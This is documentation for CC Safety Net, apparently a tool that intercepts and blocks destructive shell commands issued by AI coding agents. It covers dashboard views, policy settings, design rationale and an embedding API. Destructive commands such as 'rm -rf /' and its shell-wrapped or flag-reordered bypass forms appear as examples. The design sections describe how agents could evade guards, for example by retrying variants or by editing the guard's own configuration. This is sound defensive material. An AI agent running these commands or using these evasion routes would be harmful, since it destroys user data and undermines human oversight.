entries versus counts The feed renders at most **500 entries**. Each decision class receives half the cap and lends its unused share to the other. A burst of denials therefore cannot remove all allowed entries from the view. The counts are not capped by the 500-entry limit. Chips, tiles, and the top panels are computed from full-window aggregates on the server, independent of what the feed renders. The footer states both, as `Showing X of Y entries from the last N day(s)`, adding `(capped at 500, newest of each decision)` when truncation occurred. There is one case where the counts themselves fall short: when some audit log sources could not be read, the footer appends `N audit log source(s) could not be read, so this list is incomplete.` The aggregates miss those entries too, so treat both the list and the counts as a floor rather than a total until the sources are readable again. Read the footer before drawing conclusions from a scan of the list. `Showing 500 of 4,120` means the list is a recent slice while every chip and tile still reflects all 4,120 entries. ### Per-entry actions Each entry carries a decision badge (`Blocked`, `Allowed`, or `Error`), an agent badge, a rule-id chip, a relative timestamp, and a button to copy the raw log entry as JSON. Long commands are clamped with a Show more toggle. The copied entry is the raw audit record. See [Audit log](/docs/reference/audit-log#record-schema) for its fields. Denied entries offer **Report false positive**, which opens a dialog that prepares a prefilled **public** GitHub issue. You can edit the command and log entry before you continue. The dialog replaces your project path with `` and your home directory with `~`. Nothing is submitted until you submit it on GitHub. Allowed entries offer **Block this in future**, which prefills the prompt composer on the Rules view with that command. It does not create a rule on its own. See [Rules](#rules) below. ## Policy Policy is where you choose what CC Safety Net blocks. Everything on this view is a **built-in** protection: the safety preset, the destructive-command rules, and the secret-protection patterns that ship with CC Safety Net. Your own rulebooks are a separate mechanism and are not edited here. The full field-by-field contract for the file this view writes lives in [Policy](/docs/configuration/policy). ### Saved versus unsaved Edits accumulate in a draft and apply only when you save. * A save bar appears on the Policy view whenever the draft differs from what is on disk, with **Discard** and **Save**. * An `Unsaved policy changes · Review` chip appears in the top bar on every other view and jumps here when clicked. * The draft survives a reload within the browser session. Saving, discarding, repairing, or resetting clears it. * Leaving the page with unsaved changes prompts you first. Saving writes the policy file and reports its path. While the on-disk policy has an error, every form control shows the built-in default instead of the values that the runtime salvaged from disk. Only the raw JSON mirror shows the file's contents. The dashboard refuses to save in this state with `Repair policy before saving changes.` This prevents the displayed defaults from overwriting your file. Repair the policy before saving. The form then reloads the settings that the repair preserved. ### Draft a project policy `Draft project policy` in the view head switches the whole Policy view into a draft of the project file. The draft bar names the path it writes and states the rule that file follows: `Only the fields you mark are written here; everything else keeps inheriting from each member's own policy.` `Exit draft` returns you to editing your own policy. `Change…` retargets the draft at another directory when a native directory picker is available, and discards the current draft when you accept the confirmation. Until you change it, the target is the directory the dashboard was launched from. **Marked versus inherited.** Every control gains a chip naming whose value it is showing. `Inherited` means the field stays out of the project file and each member keeps their own value. `Set by project` means the draft writes it, and clicking that chip drops the field back to inherited. Editing a control marks its field. A marked path list shows the project's own entries only, so marking one starts it empty rather than publishing your personal paths into the repository. **Review and apply.** **Save** becomes **Review & apply**. It asks the server for the diff and opens an `Apply this project policy?` dialog carrying the target path and a `Setting` / `Now` / `After` table of the effective policy before and after, with `(unset)` where a field is absent from one side. `No change to the effective policy.` replaces the table when nothing differs. Below the table the dialog lists one warning per field the draft relaxes relative to your user policy, in the same wording [Policy](/docs/configuration/policy#reported-weakenings) documents, and adds `The existing project policy file is invalid and will be replaced.` when the file already on disk cannot be read. Cancel is focused by default. An edit that lands while the diff is loading forces another pass, with `Error: the draft changed while the review was loading. Review it again.` If a second tab moved the project directory, the draft reloads for the new target and asks you to review it again before applying. **When the draft refuses to start.** A user policy with errors degrades to protective defaults in the runtime, and a draft seeded from those would present defaults as the baseline your team inherits. So the dashboard refuses, reporting `Error: repair your user policy before drafting a project policy.` with the diagnostics. A project file that exists but cannot be read behaves differently. The draft starts empty and prints that file's diagnostics above the form. **The same guarantees as the CLI.** The draft is `cc-safety-net policy check` and `cc-safety-net policy apply` behind a form. It writes the same sparse file, diffs the proposal against the same runtime user baseline, and writes nothing until you confirm. See [Policy](/docs/configuration/policy#project-policy) for the file contract and the rules by which the two scopes merge. One difference is worth knowing. `cc-safety-net policy apply` run by an agent is hard-stopped by the guard, because rewriting the configuration CC Safety Net enforces has to come from you. The dashboard apply is that same human action. You click it on a page only someone holding the session token can open, and as [Local loopback scope](#local-loopback-scope) notes, an agent that launched the dashboard holds that token too. ### Test a command Paste a shell command into **Test a command** to see whether it would be blocked. The test evaluates against your **current unsaved edits**, so you can check a change before committing to it. In a project draft the test evaluates what the runtime would load, which is the inherited baseline with the draft's marked fields laid over it. It takes each path list as the union of your own entries and the draft's, because the loader unions them. The same evaluation feeds the protection summary and the per-rule status lines on this view, so a marked path list that reads empty on screen does not make your own paths look unprotected. The test also enforces custom rulebook rules loaded from disk, although the dashboard cannot edit rulebooks. Treat it as a preview of the full decision, not only the built-in layer. Use [`explain`](/docs/reference/cli-commands#explain) for the same analysis in the terminal. ### Safety preset The view offers three safety presets: **Standard**, **Strict**, and **Paranoid**. Each preset supplies inherited defaults that you can customize for the workspace. [Modes](/docs/configuration/modes) defines what each preset and capability changes. The view reports environment variables that raise protection. This notice explains why behavior can be stricter than the displayed level. The **Advanced overrides** section is collapsed by default. It exposes fail closed, paranoid `rm -rf` checks, and paranoid interpreters, so you can change one capability without changing the preset. Configure workflow exceptions separately from the safety level. ### Destructive command protection A master switch, then the rules grouped into four collapsible tiers: | Tier | Sub-label | | ----------------------------- | -------------------------------------------------------------- | | **Always enforced** | Cannot be disabled by any preset, rule override, or allow path | | **Available in every preset** | No additional capability required | | **Strict tier** | Inherits from Fail closed | | **Paranoid tier** | Inherits from Paranoid rm or Paranoid interpreters | Every tier starts collapsed. A Policy search opens each tier with a match. The **Always enforced** tier has no switch or per-rule checkboxes. Its header counts the rules as `N protections`, and each rule is marked `Always enforced` with a `?` example popover. The three configurable tiers show `N on · N off` counts next to a tier switch labelled `All protections`. The switch is checked while at least one rule in the tier is on and disabled while the master switch is off. Flipping it writes the same per-rule overrides as the individual checkboxes. A rule that matches its inherited value keeps no override, so there is no separate stored group setting. While the master switch is on, the panel summary reads `N active, N disabled`. Turning it off replaces that text with `Configurable protection disabled. Catastrophic protections remain active; saved rule settings and allow paths are preserved.` The Always enforced tier keeps blocking. Each configurable rule card has a `?` popover with a command it blocks. A status line identifies the source of its current value. For example, means the master switch takes precedence over your override. Toggling a rule stores an explicit `on` or `off` override. Setting a rule back to its inherited value **deletes** the override rather than storing a redundant one, and each rule offers `Use inherited setting` to do that directly. A `Restore defaults` action in the panel head clears every override at once. **Allow paths** live in this panel. Recursive deletes targeting a listed path are not blocked, which is what makes `/tmp` workable. Entries must be absolute or `~/`-prefixed directories, and your home directory is rejected. See [Allow paths](/docs/configuration/policy#allow-paths) for the full validation table and [Allowed commands](/docs/reference/allowed-commands#configured-allow-paths) for what an allow path does and does not relax. ### Secret protection This panel has a master switch and per-pattern checkboxes grouped by category. Categories include default sensitive paths, **Coding CLI credential** locations, and **Coding CLI config** locations. Each group header is a collapse button that shows `N on · N off` next to a switch labelled `All protections`. The switch is checked while any rule in the group is on, disabled while the master switch is off, and writes per-rule overrides in bulk. Groups start collapsed and open during a Policy search. Rules that protect literal file paths carry a `?` button opening a **Protected paths** popover that lists exactly which paths the rule covers. Not every rule defaults to on. **Coding CLI config** rules ship **off** because settings and MCP configuration files can contain credentials, but agents edit them as routine work. You must enable these rules individually. A checkbox stores an override only when it differs from the default. Checking a default-off rule writes an `on` override, and unchecking it removes the override. For a default-on rule, unchecking writes `off` and rechecking removes the override. While the master switch is on, the panel summary reads `N active, N disabled`. When it is off, it reads `Protection disabled. Saved rule settings and deny paths are preserved.` Saved secret allow paths are also preserved in the draft. **Deny paths** live in this panel. Configured paths and everything inside them are blocked while secret protection is on. Turning secret protection off also stops enforcing deny paths. See [Deny paths](/docs/configuration/policy#deny-paths) for the accepted entry forms. **Allow paths** also live in this panel. An exact file or directory tree can be exempted from the built-in pattern rules, but deny paths and Coding CLI protections still apply. The dashboard validates each addition before it enters the draft. Glob patterns, paths that cover home, and the guard's own configuration are rejected. See [Secret allow paths](/docs/configuration/policy#secret-allow-paths) for the complete precedence and validation rules. ### Policy JSON The **Policy JSON** panel sits at the bottom of this view. It is a read-only mirror with a copy button, not a second editor. Its subtitle names what you are looking at: | Subtitle | What the box shows | | -------------------------------------------------------------------------------------------- | --------------------------------------------------- | | `Read-only mirror of the controls.` | The user policy the form would save | | `Read-only original policy JSON. Repair preserves valid settings and writes canonical JSON.` | The file as it is on disk, while it has errors | | `Only the fields marked for this project. Writes to .` | The exact sparse file the project apply would write | ### Actions that ask for confirmation Individual rule toggles, preset changes, and adding or removing paths are staged in the draft and gated by **Save**, so they are not separately confirmed. The dashboard reserves modal confirmation for actions that reduce protection or discard configuration: | Action | What the confirmation tells you | | --------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | Turn off destructive command protection | Configurable built-in destructive Git, filesystem, and execution protections stop blocking until you turn this setting on. Always-enforced protections and custom rules remain active. | | Turn off secret protection | Default sensitive paths, coding CLI credential locations, and deny paths will stop blocking access until you turn this back on. | | Restore destructive-rule defaults | All built-in destructive-command rules will return to their inherited preset settings. | | Restore secret-rule defaults | All built-in secret rules will return to their inherited preset settings. | | Discard unsaved changes | All changes since your last save will be reverted. | | Repair policy | Canonical policy JSON is written; valid settings are preserved and invalid fields are discarded. | | Reset policy | The default policy JSON is restored at the configured path. | | Shorten retention | Audit entries older than the new window are deleted on the next sweep and cannot be recovered. | Cancel is focused by default in every one of these dialogs. Turning off destructive command protection or secret protection disables every configurable rule in that layer until you turn it back on. Only the Always enforced destructive tier keeps blocking. Prefer a single rule override or a lower preset over the master switch. ### Repair When the policy file on disk has errors, a **Policy repair available** banner appears on this view with a `Repair` button. Repair writes canonical JSON, preserving every valid setting and discarding invalid fields. If the JSON cannot be parsed at all, defaults are restored instead. The button is inert when the loaded policy has no errors. Repair discards invalid fields, and falls back to defaults when the file cannot be parsed. If the file contains hand-written configuration you care about, copy it somewhere safe before repairing. ### Reset Reset is deliberately **not** on this view. It lives in Settings, under Danger zone. ## Rules Rules covers custom rulebooks that you author. These are separate from the built-in protections on the Policy view. See [Custom rules](/docs/configuration/custom-rules) for the rulebook format, scopes, overrides, and validation. The Rules view is **not** a rulebook editor. CC Safety Net never writes a rulebook from the dashboard. This view shows rules read-only as they are actually enforced, and composes prompt text for you to copy into a coding agent that does the authoring. ### Rulebooks panel (read-only) Each rulebook card shows its name, a version badge, its source spec when that differs from the name, its scope (`All projects` or `This project`), and its rule count. Rules are listed **as enforced, after overrides**. A rule disabled by an override still belongs to its rulebook and stays in the rulebook's listing, but the rendered rule list omits it. This view therefore shows the effective rulebook, not the file contents. A refresh button reads the files again. When no rulebooks are configured, the panel points you at `cc-safety-net rule init`. When rulebooks exist but every one was dropped, it says so and sends you to Diagnostics. ### Diagnostics The Diagnostics panel is hidden when there is nothing to report. When it appears, an error there means a rulebook was **dropped** and its rules are not enforced. This is the place to look when a rule you wrote is not firing. ### Prompt composer (copy only) The composer builds a prompt for your coding agent. Its only action is **Copy prompt**. The view has no create, save, or write control, and no server route writes a rulebook. Inputs: * **Scope.** `Project` or `All projects`. * **Project path.** Shown only in project scope and prefilled with the directory where the dashboard was launched. When a native directory picker is available, the field is read-only with a `Choose…` button. If the picker is unavailable, the field becomes editable. * **Request.** Describe the rules you want. Rules match a command, its subcommand path, and exact arguments. They do not match file paths or patterns. * **Examples.** One-click starters for suggesting rules, blocking a command, and verifying existing rules. The generated prompt tells your agent to use the `cc-safety-net` skill, and to run `npx -y cc-safety-net rule doc` first when that skill is unavailable and treat its output as the source of truth for schema, paths, and validation. It includes the scope, project path, and existing rulebook names so the agent can select an unused name. The text includes **only** rulebook names. It does not include rule names, blocked arguments, reasons, or versions. Copying is refused, with a specific message, when rules have not loaded yet, when the request is empty, or when project scope is selected with no project path. ## Integrations Integrations installs or removes the CC Safety Net hook for each coding agent on this machine. The **Agents** panel lists the detected CLIs and their hook status; see [Integration architecture](/docs/guides/integration-architecture) for how each agent is wired and [Installation](/docs/installation) for the equivalent steps outside the GUI. | Status | Meaning | Action offered | | ----------------- | ------------------------------------------------------------------------------------- | -------------- | | **Installed** | The hook is configured and active. | `Uninstall` | | **Disabled** | The CLI is on this machine but the hook is not configured. | `Enable` | | **Not inspected** | The CLI was detected, but its state file could not be read, so its status is unknown. | `Install` | | **Not installed** | The CLI is on this machine with no hook. | `Install` | | **not detected** | The CLI was not found on this machine. | None | `Not inspected` carries a tooltip spelling this out: `This runtime's state file could not be read, so its status is unknown.` The CLI itself was found, so installing is still offered. Detection gates the actions: when a CLI is not detected, no button is offered at all, because there is nothing to install a hook into. Install and uninstall are serialized, so two actions cannot interleave, and the button is disabled while its request is in flight. Failures report `Install failed` or `Uninstall failed` rather than silently reverting. The refresh button re-detects every agent, which is what you want after installing a CLI or editing an agent config by hand. A **System** panel below reports the CC Safety Net version, the Node.js version, and the platform detected on this machine. ## Settings Settings covers appearance, file locations, and maintenance. **Appearance.** A theme control cycling `Auto → Light → Dark`. The preference is stored in this browser, not in your policy. **Files.** Read-only rows showing where CC Safety Net reads and writes on this machine: the policy file and the audit log directory. A **Project policy** row appears between them when a project policy is in force, and a notice under the rows lists what that file changes, headed `Merged on top of this file:`. **Audit log retention.** Sets how many days of audit records to keep. See [Audit log](/docs/reference/audit-log#retention) for the accepted range, recorded data, and sweep behavior. Unlike the Policy view, retention **saves immediately on change** with no save bar. You cannot save it while the Policy view has unsaved changes, and retention is user scope only, so you cannot save it while a project draft is open either. Unlike the Policy save button, this control remains active while the on-disk policy has errors. In that state, the form holds defaults, so changing retention writes an all-defaults document with only your new retention over the file. Repair the policy before changing retention. Shortening retention is irreversible. The next sweep deletes audit entries older than the new window, and the Activity view can then look back only as far as the new value. The dashboard asks you to confirm and names the log directory it will prune. Export needed entries first. Each Activity entry has a copy-as-JSON button. **Version.** A single read-only row showing the CC Safety Net version you are running. **Danger zone.** A single action, **Reset policy**, which restores the default policy JSON at the configured path. Reset discards your saved configuration. Every preset choice, rule override, allow path, and deny path returns to defaults, with no undo. Reset affects only the policy file. It does not touch custom rulebooks. For the policy file schema see [Policy](/docs/configuration/policy); for rulebook authoring see [Custom rules](/docs/configuration/custom-rules); for the audit log format and retention behavior see [Audit log](/docs/reference/audit-log); and for `gui` and every other command see [CLI commands](/docs/reference/cli-commands). # Design principles Source: https://ccsafetynet.com/docs/guides/design-principles The reasoning behind CC Safety Net: semantic analysis over wildcards, a fixed guard order with always-on protections, fail-closed on the tool's own failure, denials that keep the agent on task, a minimal dependency surface, rulebooks, defense-in-depth, and worktree relaxation. This is the last page of the technical sequence: it adds no new behavior, and instead gives the rationale and the tradeoffs behind what [Architecture](/docs/guides/architecture) and [Analysis engine](/docs/guides/analysis-engine) specify. Read those first if you want to know *what* happens; read this to know *why*. CC Safety Net was built after an AI coding agent deleted an entire home directory. That case still stands, but it is no longer the frontier: Claude Code now ships a deterministic circuit breaker for critical paths like that one, while the destructive git commands inside the workspace have no such breaker. Every design choice follows one goal: stop destructive commands *before* an agent executes them without creating a false sense of security. ## Semantic analysis over wildcard patterns Coding agents support deny rules with wildcard matching, such as a wildcard rule for `git reset --hard`. Wildcard patterns compare the raw command string against a pattern, so any variation in spacing, flag order, or command wrapping can cause a block to silently fail. Reordering flags (`rm -r -f /`), wrapping in a shell (`sh -c "rm -rf /"`), or hiding behind an interpreter all bypass string matching. CC Safety Net instead parses each command and hands it to analyzers that understand the real option grammar of `git`, `rm`, `Remove-Item`, `find`, `xargs`, and `parallel`, so the decision reasons about *what the command does* rather than *what it looks like*. The tradeoff is complexity: the parser must handle shell syntax correctly, and each supported command needs its own analyzer. The benefit is bypass resistance for the commands that matter most. The pipeline itself is specified in [Architecture](/docs/guides/architecture#inside-command-analysis), and each analyzer's exact behavior in [Analysis engine](/docs/guides/analysis-engine). ## One fixed order, with the always-on protections first Every tool call runs through the same ordered stages, on every integration. Two of those stages, protection of the policy files in both scopes and protection of Git metadata, deliberately run *before* the policy snapshot is loaded. That ordering is the point. A protection evaluated after configuration is only as strong as the configuration, and configuration is what a compromised agent would try to edit first. By denying before the policy file is read, these two guards carry no config state. A preset, an override, or the protected file cannot switch them off. Their denials cannot report a safety level or fallback reason because neither is known yet. This trades diagnostic detail for an unconditional guarantee. Sensitive-path protection sits on the other side of the line, after the snapshot. It *is* policy-controllable, because which paths count as sensitive is genuinely a local decision, and because deny paths are only useful if you can add your own. The concrete stage table lives in [Architecture](/docs/guides/architecture#the-ordered-guard-stages). ## Fail closed when analysis cannot complete When CC Safety Net cannot complete an analysis, it blocks rather than allows: * A thrown error anywhere in the guard becomes a deny attributed to the stage that threw, at every entry point. * Exceeding a tool-input bound or a parser budget denies, in every safety level. * [Strict mode](/docs/configuration/modes#strict-mode-cc_safety_net_strict=1) extends fail-closed further, to commands the parser cannot fully understand and to destructive targets it cannot verify. The reasoning is simple: a safety net that fails open is worse than no safety net, because it creates a false sense of security. Blocking on an unexpected error is annoying but recoverable; allowing a destructive command through is not. **Invalid configuration is deliberately not part of this.** The runtime drops a rejected configuration source instead of converting it into a denial. Otherwise, a typo in a rulebook could block all work and push users to uninstall the tool instead of fixing the file. [Configuration recovery](/docs/configuration/recovery) defines that contract and the repair path. See [Security model](/docs/guides/security-model) for how these properties are enforced at each trust boundary. ## Denials that keep the agent on task A denial is not an error state. It reaches the agent as a normal tool result in the active session. This behavior determines how CC Safety Net writes each block message. A bare "permission denied" can make an agent retry similar commands or stop the full task. Repeated variants can find an unprotected form and use agent turns. Stopping the full task turns one safety action into a work stoppage. Each message gives the agent a productive next action. The reason states what the command would have done and names a safer alternative when one exists. Every rule carries an **intent** that selects the closing instruction: report the block and continue with the task, switch to the named alternative, retry with a narrower explicit target, hand the operation to the user, or restructure the command instead of trying variants. Even a fail-closed denial for an internal error carries the intent "restructure, don't retry." An unexpected failure of the tool itself still directs the agent to a useful response. The instruction is deliberately advisory. Nothing forces the agent to obey it; enforcement comes from the guard, which blocks a disobedient retry just the same. The message exists to make the compliant path the easiest one, so that in the common case the session absorbs a block and keeps moving. The message anatomy and the full intent table are in [How it works](/docs/guides/how-it-works#what-a-block-looks-like). ## A minimal dependency surface CC Safety Net has one lazily loaded runtime package. Its **own bounded POSIX and PowerShell parsers** handle segment splitting, quoting, redirection, command substitution, and dynamic-word provenance instead of a third-party grammar. This choice has four reasons: * A smaller dependency tree means a smaller supply-chain attack surface, and the parser is the component an attacker most wants to confuse. * The analysis needs facts a general tokenizer does not carry, such as which words came from an expansion, which target is anchored to the working directory, and which quoting form was used. An owned parser makes those facts first-class. * Parser budgets can be fixed constants rather than configuration, which makes resource exhaustion a bounded, testable failure mode instead of an open-ended one. * For the agents that run CC Safety Net as a hook subprocess, it starts fresh on every shell tool call, so startup time matters and fewer dependencies mean faster cold starts. See [Architecture](/docs/guides/architecture#parsers-and-the-runtime-dependency-surface) for the parser budgets and how each dependency is consumed. ## The rulebook system Earlier versions stored custom rules as inline JSON in a single project file. CC Safety Net replaced this with a rulebook system for four reasons: * **Sharing.** `rule add` and `rule update` fetch a rulebook from a GitHub repository at a named ref and vendor it into the consumer's own `rules//rulebook.json`, so teams share blocking policy without copying JSON by hand. The vendored copy is a file in the consumer's repository. A person can read it and review it in a pull request, and a diff shows what an update changed. * **Integrity.** `rule add` and `rule update` resolve the ref to a commit, fetch the file over HTTPS with redirects refused and the response bounded by bytes and time, validate it against the schema, and require its `name` to match the source. For `rulebook_version: 2` they also run the rulebook's own fixtures against its rules. A source that fails any of these is rejected before anything is written. Nothing re-checks the vendored file against the upstream copy afterwards; from then on it is reviewed like any other file in the repository. * **Scoping.** Rulebooks support separate user and project scopes with distinct configuration directories. * **Validation.** The runtime validates rulebook content against the schema before it can affect a blocking decision. Custom rules are strictly additive: they can only add restrictions, never relax built-in protections. This keeps the trust boundary simple. See [Custom rules](/docs/configuration/custom-rules) for the authoring workflow. ## Graduated levels instead of one setting Protection has three presets: standard, strict, and paranoid. A single on/off switch cannot account for whether a command came from a supervised or untrusted context. Standard optimizes for a human-supervised session: it blocks recognizable destructive commands and sensitive-content access while tolerating unparseable-but-harmless text, so day-to-day work is not interrupted. It is explicitly **best-effort against adversarial or dynamic input** and is not the right setting when commands may originate from prompt injection or another untrusted context. Strict and paranoid add certainty at the cost of more blocks. Strict blocks what cannot be verified. Paranoid also blocks categories that are usually safe but can be catastrophic. Standard does *not* add more parser heuristics to close these gaps because guessing cannot make a statically unresolved target safe. A new gap requires a strict or paranoid fail-closed fixture. The documentation therefore records standard mode's residual-risk families. Individual capabilities remain separately settable, and any per-rule override can force a strict-tier rule on under standard. What no override can do is weaken a catastrophic rule or the always-on protections. See [Modes](/docs/configuration/modes) for the levels and [Analysis engine](/docs/guides/analysis-engine#safety-level-boundaries) for exactly where each boundary falls. ## Defense-in-depth, not a replacement CC Safety Net does not claim to be a complete security solution. It is positioned as one layer in a defense-in-depth stack: * **Permission deny rules** offer quick, user-configurable blocks. CC Safety Net runs *before* the permission system, so it inspects every command regardless of how deny rules are configured. * **OS-level sandboxing** restricts filesystem and network access but does not understand whether an operation is destructive *within* those boundaries. A `git reset --hard` inside a sandboxed directory is technically safe from the sandbox's perspective but still a footgun. Use these layers together: deny rules for fast iteration, sandboxing for unknown threats and containment, and CC Safety Net for bypass-resistant protection against known-destructive patterns. See the [protection-layers comparison](/docs/guides/vs-sandboxing). ## Worktree relaxation Linked git worktrees create a usability problem: a developer working in a worktree often wants to run `git checkout -- .` or `git reset --hard` to discard local changes *in that worktree*, but the default rules block these as local-discard operations. Rather than relax the rule generally, [worktree mode](/docs/configuration/modes#worktree-mode-cc_safety_net_worktree=1) lifts the block only for local discards, only inside a directory positively verified as a linked worktree, and only when nothing has redirected the git context. Verification is the load-bearing part of the design: a directory that merely looks like a worktree does not qualify, and if the check cannot complete the command stays blocked. The relaxation is narrow. Every remote-affecting operation, including force pushes, branch deletes, and stash drops, stays blocked. Local discards that could reach outside the disposable worktree also stay blocked. [Analysis engine](/docs/guides/analysis-engine#worktree-relaxation) lists the exact conditions and non-relaxable cases. [Modes](/docs/configuration/modes) explains how to turn the mode on. ## Where to go next The technical guides run from the user-facing lifecycle down to the reasoning behind the design. This page is step 5, the last one. * Back: [Analysis engine](/docs/guides/analysis-engine), which shows the exact classification behavior these tradeoffs produce, and [Architecture](/docs/guides/architecture), which shows the guard order they justify. * Start over: [How it works](/docs/guides/how-it-works), which presents the same system at user depth. Related: [Security model](/docs/guides/security-model) for the trust boundaries these decisions protect, [Known limitations](/docs/guides/known-limitations) for what they cannot do, and [Configuration recovery](/docs/configuration/recovery) for the `ready` and `degraded` contract referenced above. # Embed CC Safety Net in your own agent or harness Source: https://ccsafetynet.com/docs/guides/embedding For harness and toolmaker authors: when to call checkCommand in process instead of installing a hook, how policy resolves in embedded mode, what the API guarantees across minor versions, and a worked plugin-host example. This page is for people who build the thing that runs the command: an agent, a task runner, a CI harness, a plugin host with a shell tool. You do not install a hook into those. You call the check yourself. The whole embedding story is one function, `checkCommand`, exported from the `cc-safety-net/api` subpath. [Library API](/docs/reference/library-api) is the signature reference: types, `TypeError` messages, and what one call reads. This page covers the decisions around it. ## In-process check or installed hook Both paths run the same guard. They differ in who owns the call. | | Installed integration | `checkCommand` in process | | -------------------------- | ------------------------------------------------------------ | -------------------------------- | | Who wires it | `cc-safety-net install `, once per machine | Your code, at every command site | | Where the decision happens | A hook subprocess or an agent-loaded plugin | Your process, synchronously | | Audit trail | Written for every decision, readable with `logs` and the GUI | None. You log what you want | | Works for | The thirteen supported agent CLIs | Any Node.js host | | Cost per call | Process spawn for the stdin-hook agents | A function call | The rule of thumb follows from that last column but is really about ownership. If your users run one of the supported agent CLIs, ship them the install command and let the integration do the work; see [Integration architecture](/docs/guides/integration-architecture) for how each agent is wired. If you are the program running the commands, call the function. Building a hook config generator for your own runtime is rebuilding an integration that already exists. The package root export is the OpenCode plugin object, not the engine. Import from `cc-safety-net/api` for `checkCommand`. ## Policy resolution in embedded mode There is no separate embedded configuration. A call reads the same files a hook reads, and the `cwd` argument decides which project's files those are. * **User scope.** `~/.cc-safety-net/policy.json` and `~/.cc-safety-net/rules/`, moved by `CC_SAFETY_NET_HOME` when it is set. This is the operator's own baseline, and it applies to every call. * **Project scope.** `/.cc-safety-net/policy.json` and `/.cc-safety-net/rules/`, resolved from the exact path you pass. There is no walk up through parent directories. A host that tracks a session subdirectory should pass the repository root as `cwd`, or the committed project policy will not load. * **Merge.** The project file layers over the user file field by field. Protected-path lists from both scopes are unioned, `audit` in a project file is ignored, and every field a project relaxes is reported rather than applied silently. [Policy](/docs/configuration/policy#project-policy) owns the merge contract. * **Environment.** `CC_SAFETY_NET_LEVEL` and the capability switches are read from `process.env` on every call, and the level can only be raised above what the policy files set. See [Environment variables](/docs/configuration/environment). Per-project variation is per-call variation, because the `cwd` selects it. A host that manages several checkouts at once gets the right policy for each one by passing the right directory, with no extra API. Two behaviors are worth knowing before you write the call site. A `cwd` that does not stat as a readable, searchable directory returns a fail-closed deny rather than throwing, so a mistyped path blocks commands instead of analyzing the wrong project. And a malformed input, such as a missing `cwd` or a non-string command, throws `TypeError`, which is a bug in the calling code rather than a verdict about the command. ## What the API guarantees These hold across minor versions, so a host can build on them: * The input shape `{ command, cwd }`, with `cwd` an absolute directory path, and the two result kinds, `allow` and `deny` with a `reason` string and an optional `ruleId`. * A `deny` means do not execute the command, and a throw means the same. A throw is never an allow. * `cwd` anchors policy resolution. Relative command targets and the project's `.cc-safety-net/` configuration resolve against the `cwd` you pass, never `process.cwd()`. * The API path writes no audit record and makes no network request. A call reads local policy files, filesystem facts, and environment settings; nothing leaves the machine. The rule catalog is free to change in any minor version. Which commands get denied grows with each release, and `reason` wording changes with it, so an upgrade can turn an allow into a deny for a command your test fixtures rely on. Branch on `kind`. Keep `reason` and `ruleId` for humans and logs rather than comparing against them, and pin the version in your lockfile the way you pin any other dependency whose behavior you test against. ## A worked example: a plugin host Hosts with a plugin architecture usually expose a pre-execution hook that can veto a tool call. That is the whole integration point. The plugin maps the host's event to `{ command, cwd }`, calls `checkCommand`, and turns a deny into whatever the host's veto looks like: ```ts theme={"dark"} import { checkCommand } from 'cc-safety-net/api'; export function registerSafetyNet(host: PluginHost) { host.beforeToolCall((call, ctx) => { if (call.toolName !== 'shell') return undefined; if (typeof call.input.command !== 'string' || call.input.command.trim() === '') { return { block: true, reason: 'Malformed shell tool call.' }; } try { const result = checkCommand({ command: call.input.command, cwd: ctx.projectRoot }); if (result.kind === 'deny') return { block: true, reason: result.reason }; return undefined; } catch (error) { console.error('CC Safety Net could not check the command', error); return { block: true, reason: 'Command check failed. The command was not executed.' }; } }); } ``` Four decisions in that handler carry the weight: * **Only command tools are checked.** `checkCommand` analyzes shell command text. A host's read, write, or search tools are not command tools, so route only the shell tool to it and let the others through. * **`cwd` is the project root, absolute.** Whatever your host calls it, that value selects the project policy and anchors relative paths such as `.env` in the command. * **A throw blocks.** The `catch` is the fail-closed half of the contract. A host that let a thrown error fall through to execution would turn a broken check into an allow. * **A malformed event blocks too.** The shipped in-process integrations do exactly this: an event whose command field is missing or not a string is blocked, not skipped, because there is nothing to analyze. If your host's veto is a thrown exception rather than a returned object, throw the denial message instead of returning it. The shape changes, the decisions do not. ## Operational notes * **You own the log.** No audit record is written on this path, so a denial that is not logged by the host leaves no trace. The `logs` command and the GUI dashboard show hook and plugin decisions, not embedded ones. * **Operators configure you with the normal tools.** Because an embedded host reads the same policy files, `status`, `doctor`, and `explain` all describe what your host will do, as long as they run in the same directory you pass as `cwd`. Point users at [Explain trace](/docs/reference/explain-trace) when they ask why a command was blocked. * **`ruleId` is diagnostic.** Print it, log it, use it to look up a rule. Do not branch on it. * **The call is synchronous.** For a batch, loop. There is no async or batched entry point, and adding one would only hide the file reads a call already makes. * **Read the version from the package.** `cc-safety-net/package.json` is an exported subpath, so a host that reports its own dependency versions can include this one. ## Related pages * [Library API](/docs/reference/library-api) is the full signature reference for `checkCommand`. * [Integration architecture](/docs/guides/integration-architecture) describes the installed integrations this function replaces when your host runs its own commands. * [Policy](/docs/configuration/policy) and [Environment variables](/docs/configuration/environment) document everything a call reads. * [Blocked commands](/docs/reference/blocked-commands) lists what a deny can be. # How CC Safety Net intercepts and blocks destructive commands Source: https://ccsafetynet.com/docs/guides/how-it-works The lifecycle of a single tool call: agent request, integration interception, ordered protection and analysis, the allow or block response, the audit record, and where to look when a decision surprises you. CC Safety Net sits between your coding agent and the protected tools. It inspects each supported tool operation before that operation runs. It then allows the operation or returns a block that the agent can act on. This page follows one tool call from end to end. See [Integration architecture](/docs/guides/integration-architecture) for how each agent connects to CC Safety Net. ## The lifecycle of one tool call The agent prepares a shell command such as `git reset --hard`, or a file write, edit, search, or patch. It then hands the operation to its tool layer. CC Safety Net's integration for that agent receives the call before the tool executes and before the operating system ever sees it. Some agents call CC Safety Net as a short-lived subprocess hook; others load it in-process as a plugin or extension. Either way the same guard runs. See [Integration architecture](/docs/guides/integration-architecture) for which agent uses which model. CC Safety Net reads the tool input with limits on its depth, size, and number of fields. It parses the input once, then runs the fixed sequence in [What gets checked, in order](#what-gets-checked-in-order). The order does not depend on the agent. A safe call is allowed and executes normally. A blocked call never runs; the agent receives a block message naming the reason, the offending command, and what it should do next. See [What a block looks like](#what-a-block-looks-like). Denials are appended to the local audit log. Eligible allowed command decisions are also logged when the configured audit scope includes them. See [The audit record](#the-audit-record). ## What gets checked, in order Every tool call runs through the same stages, in this order: 1. **Bounded input extraction.** The command is read out of the tool input under traversal limits on depth, node count, key count, and size. Exceeding a limit blocks the call rather than risking an unbounded walk. 2. **A single parse.** The command is parsed once into structural facts that every later stage reuses. Exhausting a parser budget blocks the call at every safety level. 3. **Policy-file protection.** Anything that would modify or delete CC Safety Net's own `policy.json`, its directory, or an ancestor is stopped outright. 4. **Git-metadata protection.** Anything that would delete, 